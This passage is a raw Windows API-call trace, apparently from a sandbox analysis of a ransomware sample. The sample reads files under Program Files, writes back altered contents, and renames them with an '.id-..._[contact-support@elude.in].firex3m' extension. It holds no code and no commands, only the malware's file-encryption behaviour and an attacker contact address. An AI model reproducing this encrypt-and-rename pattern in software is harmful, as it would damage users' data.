returned 1 [0215.719] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Config_131491847713900000.json.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\config_131491847713900000.json.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0215.719] GetProcessHeap () returned 0x630000 [0215.719] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x90e1) returned 0x73a7310 [0215.719] GetProcessHeap () returned 0x630000 [0215.719] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x90e1) returned 0x717648 [0215.719] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.719] ReadFile (in: hFile=0x4c0, lpBuffer=0x73a7310, nNumberOfBytesToRead=0x90c0, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73a7310*, lpNumberOfBytesRead=0x54bff0c*=0x90c0, lpOverlapped=0x0) returned 1 [0220.292] GetProcessHeap () returned 0x630000 [0220.292] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0220.292] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.292] WriteFile (in: hFile=0x4c0, lpBuffer=0x717648*, nNumberOfBytesToWrite=0x90c0, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x717648*, lpNumberOfBytesWritten=0x54bff0c*=0x90c0, lpOverlapped=0x0) returned 1 [0220.293] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.293] WriteFile (in: hFile=0x4c0, lpBuffer=0x720707*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x720707*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.293] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.293] WriteFile (in: hFile=0x4c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.293] CloseHandle (hObject=0x4c0) returned 1 [0220.293] GetProcessHeap () returned 0x630000 [0220.293] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717648 | out: hHeap=0x630000) returned 1 [0220.294] GetProcessHeap () returned 0x630000 [0220.294] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73a7310 | out: hHeap=0x630000) returned 1 [0220.294] GetProcessHeap () returned 0x630000 [0220.294] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0220.294] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.294] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Config_131491847713900000.json.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4941a760, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x90f4, dwReserved0=0xa647496, dwReserved1=0x73a7308, cFileName="Config_131491847713900000.json.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CONFIG~1.FIR")) returned 0x6d5280 [0220.294] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0220.295] Sleep (dwMilliseconds=0x1) [0221.941] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x54bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastreviewsettings.xml") returned 1 [0221.943] GetProcessHeap () returned 0x630000 [0221.943] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5160) returned 0x6fe3bb0 [0221.954] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0221.954] CloseHandle (hObject=0x4e8) returned 1 [0221.954] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0221.954] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0221.955] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.955] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b2b4b0, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b2b4b0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5040 [0221.955] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0221.955] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0221.955] GetProcessHeap () returned 0x630000 [0221.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dc130 [0221.955] GetProcessHeap () returned 0x630000 [0221.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dbf38 [0221.956] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.956] ReadFile (in: hFile=0x4e8, lpBuffer=0x6dc130, nNumberOfBytesToRead=0x1c0, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc130*, lpNumberOfBytesRead=0x54bff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0221.958] GetProcessHeap () returned 0x630000 [0221.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0221.958] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.958] WriteFile (in: hFile=0x4e8, lpBuffer=0x6dbf38*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbf38*, lpNumberOfBytesWritten=0x54bff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0221.958] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.958] WriteFile (in: hFile=0x4e8, lpBuffer=0x6dc0f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc0f7*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0223.089] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.089] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0223.089] CloseHandle (hObject=0x4e8) returned 1 [0224.399] GetProcessHeap () returned 0x630000 [0224.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dbf38 | out: hHeap=0x630000) returned 1 [0224.399] GetProcessHeap () returned 0x630000 [0224.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc130 | out: hHeap=0x630000) returned 1 [0224.399] GetProcessHeap () returned 0x630000 [0224.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0224.399] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0224.399] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b2b4b0, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b2b4b0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4aebbe56, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x54bfd20, dwReserved1=0x6dc130, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5500 [0224.399] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0224.400] Sleep (dwMilliseconds=0x1) [0224.986] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\index.html", len=0x6f | out: pbstr=0x54bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\index.html") returned 1 [0224.986] GetProcessHeap () returned 0x630000 [0224.986] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5160) returned 0x6fe3bb0 [0224.986] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0227.658] CloseHandle (hObject=0x6c8) returned 1 [0227.658] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0227.658] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0234.112] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0234.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xdc59, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5540 [0234.112] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0234.112] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0234.112] GetProcessHeap () returned 0x630000 [0234.113] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6faaf20 [0234.113] GetProcessHeap () returned 0x630000 [0234.113] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72a3b20 [0234.113] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.113] ReadFile (in: hFile=0x6c8, lpBuffer=0x6faaf20, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faaf20*, lpNumberOfBytesRead=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0237.151] GetProcessHeap () returned 0x630000 [0237.151] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0237.151] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.151] WriteFile (in: hFile=0x6c8, lpBuffer=0x72a3b20*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a3b20*, lpNumberOfBytesWritten=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0237.152] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.152] WriteFile (in: hFile=0x6c8, lpBuffer=0x72aef1f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72aef1f*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0237.152] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.152] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0237.152] CloseHandle (hObject=0x6c8) returned 1 [0237.152] GetProcessHeap () returned 0x630000 [0237.152] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72a3b20 | out: hHeap=0x630000) returned 1 [0237.152] GetProcessHeap () returned 0x630000 [0237.152] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6faaf20 | out: hHeap=0x630000) returned 1 [0237.152] GetProcessHeap () returned 0x630000 [0237.152] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0237.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0237.153] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x534c5543, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xdc7d, dwReserved0=0xa647496, dwReserved1=0x6faaf18, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0237.153] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0237.153] Sleep (dwMilliseconds=0x1) [0239.346] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-100.png", len=0x6d | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-100.png") returned 1 [0239.346] GetProcessHeap () returned 0x630000 [0239.346] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x514c) returned 0x6fe3bb0 [0239.346] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterwidetile.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.346] Sleep (dwMilliseconds=0x1) [0241.293] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Ungroup.scale-100.png", len=0x74 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Ungroup.scale-100.png") returned 1 [0241.293] GetProcessHeap () returned 0x630000 [0241.293] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5394) returned 0x6fe3bb0 [0241.293] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Ungroup.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\ungroup.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.323] Sleep (dwMilliseconds=0x1) [0241.338] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Simplify.scale-100.png", len=0x75 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Simplify.scale-100.png") returned 1 [0241.338] GetProcessHeap () returned 0x630000 [0241.338] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5388) returned 0x6fe3bb0 [0241.338] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Simplify.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\simplify.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.340] Sleep (dwMilliseconds=0x1) [0241.352] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\ProjectionSpheric.scale-100.png", len=0x7e | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\ProjectionSpheric.scale-100.png") returned 1 [0241.352] GetProcessHeap () returned 0x630000 [0241.352] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5370) returned 0x6fe3bb0 [0241.352] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\ProjectionSpheric.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\projectionspheric.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.355] Sleep (dwMilliseconds=0x1) [0241.360] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\ProjectionPlanar.scale-100.png", len=0x7d | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\ProjectionPlanar.scale-100.png") returned 1 [0241.360] GetProcessHeap () returned 0x630000 [0241.360] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x536c) returned 0x6fe3bb0 [0241.360] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\ProjectionPlanar.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\projectionplanar.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.366] Sleep (dwMilliseconds=0x1) [0241.391] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\EmbossContour.scale-100.png", len=0x7a | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\EmbossContour.scale-100.png") returned 1 [0241.391] GetProcessHeap () returned 0x630000 [0241.391] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5338) returned 0x6fe3bb0 [0241.392] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\EmbossContour.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\embosscontour.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.394] Sleep (dwMilliseconds=0x1) [0241.409] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Emboss.scale-100.png", len=0x73 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\Emboss.scale-100.png") returned 1 [0241.409] GetProcessHeap () returned 0x630000 [0241.409] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5334) returned 